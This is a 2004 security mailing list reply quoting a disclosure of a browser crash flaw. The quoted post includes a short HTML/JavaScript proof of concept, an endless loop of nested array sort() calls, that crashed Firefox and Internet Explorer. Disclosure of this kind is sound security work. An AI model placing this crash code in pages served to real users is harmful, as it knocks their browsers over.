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RE: FIREFOX flaws: nested array sort()
From: "RandallM" <randallm () fidmail com>
Date: Thu, 25 Nov 2004 17:14:20 -0600

 
So, where do you all stand. Exploit for fame or for purpose?

-----Original Message-----
From: full-disclosure-admin () lists netsys com 
[mailto:full-disclosure-admin () lists netsys com] On Behalf Of 
Berend-Jan Wever
Sent: 25 November 2004 01:05
To: full-disclosure () lists netsys com; 
vuln-dev () securityfocus com; bugtraq () securityfocus com
Subject: [Full-disclosure] FIREFOX flaws: nested array sort() 
loop Stack overflow exception

Hi all,

Same flaw works for Firefox as well as MSIE:

<HTML>
  <SCRIPT> a = new Array(); while (1) { (a = new 
Array(a)).sort(); } </SCRIPT>
  <SCRIPT> a = new Array(); while (1) { (a = new 
Array(a)).sort(); } </SCRIPT> </HTML>

Added to the list: 
http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html

I'd have loved to CC mozilla about this, but I didn't have 
the time to do the crash course "how to write a bug report" 
and go through all that bugzilla crap.

Cheers,
SkyLined
http://www.edup.tudelft.nl/~bjwever



Randall M
 
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